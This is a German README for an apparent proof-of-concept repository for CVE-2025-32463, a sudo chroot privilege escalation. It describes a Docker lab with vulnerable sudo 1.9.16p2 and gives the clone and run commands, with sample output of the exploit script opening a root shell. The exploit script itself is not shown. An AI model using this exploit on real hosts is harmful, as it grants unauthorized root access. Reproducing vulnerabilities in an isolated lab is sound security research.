
Proof-of-concept-Exploit für CVE-2025-32463, eine Privilegieneskalations-Schwachstelle in der chroot-Funktion von sudo. Enthält Docker-Umgebung und Exploit-Skript, um eine Root-Shell zu starten.
Dieses Repository bietet eine minimale, reproduzierbare Umgebung, um die CVE‑2025‑32463 Privilegieneskalations-Schwachstelle in sudos chroot-Funktion zu demonstrieren.
| Datei | Zweck |
|---|---|
| Dockerfile | Erstellt ein Ubuntu 24.04-Image mit anfälligem sudo 1.9.16p2 und Build-Tools |
| sudo‑chwoot.sh | Proof‑of‑Concept-Exploit, der eine Root-Shell innerhalb des chroots startet |
| run.sh | Helfer-Skript, das das Image erstellt (falls nötig) und den Exploit-Container startet |
Anfällige Builds von sudo 1.9.14 bis 1.9.17 (alle p‑Revisionen) auf den meisten Linux-Distributionen sind betroffen.
# 1 – clone repo
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
# 2 – build and run Docker image (tagged "sudo-chwoot")
$ ./run.sh
# 3 – run exploit in container (drops you into a root shell)
pwn@0da3726bd81f:~$ ./sudo-chwoot.sh
woot!
root@0da3726bd81f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
run.sh übergibt --privileged und --rm an Docker, sodass der Container sich beim Beenden selbst bereinigt.
Entferne das Image, wenn du fertig bist:
docker rmi sudo-chwoot